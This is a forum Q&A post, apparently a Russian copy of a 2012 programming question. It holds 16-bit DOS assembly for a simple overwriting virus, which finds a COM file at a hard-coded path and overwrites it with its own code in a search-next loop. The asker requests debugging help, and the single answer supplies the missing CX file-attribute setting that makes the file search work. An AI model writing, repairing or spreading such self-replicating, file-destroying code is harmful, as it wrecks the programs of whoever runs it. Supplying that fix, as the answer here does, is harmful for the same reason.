Не удается найти ошибку в этой простой программе сборки - PullRequest
1 голос
/ 28 февраля 2012

Я работаю со следующим 16-битным кодом сборки:

            .model tiny
            .code

            ORG 100H

FILE_NAME       EQU 9EH     ;DTA Position after execution of search_first_file

START:          
            mov     ah,9            ;Print start message
            mov dx,OFFSET STR_START
            int 21H

            mov     ah,4EH      ;Search first file
            mov dx,OFFSET PATH
            int 21H
            jc  NO_FILE_FOUND

FILE_FOUND: 
            mov     ah,9            ;Print file found message
            mov dx,OFFSET STR_FILE_FOUND
            int 21H     

            mov ah,3DH      ;Open file to write
            mov al,01H
            mov dx,FILE_NAME
            int 21H

            mov     ah,9            ;Print file opened message
            mov dx,OFFSET STR_FILE_OPENED
            int 21H     

            mov ah,40H      ;Write code
            mov bx,ax
            mov dx,100H
            mov cx,44
            int 21H

            mov     ah,9            ;Print file written message
            mov dx,OFFSET STR_FILE_WRITTEN
            int 21H     

            mov ah,3EH      ;Close file
            int 21H

            mov ah,4FH      ;Search next
            int 21H
            jnc FILE_FOUND          

NO_FILE_FOUND:
            ret

PATH                db      'C:\comfiles_folder\HOST.COM',0
STR_START       db  'program started!',0
STR_FILE_FOUND  db  'file found!',0
STR_FILE_OPENED db  'file opened!',0
STR_FILE_WRITTEN    db  'code written!',0

            END START

Эта программа в основном ищет папку comfiles_folder по пути C:\comfiles_folder\HOST.COM и записывает свой собственный код в найденный файл.

Я отладил его с помощью CodeView и обнаружил, что он не может найти файл HOST.COM. Может кто-нибудь сказать, пожалуйста, что не так?

1 Ответ

1 голос
/ 28 февраля 2012

Найти первый файл вызов требует еще один параметр. Вы не установили атрибуты файла в регистре cx до вызова Int 21 0x4E (Find Fist File).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...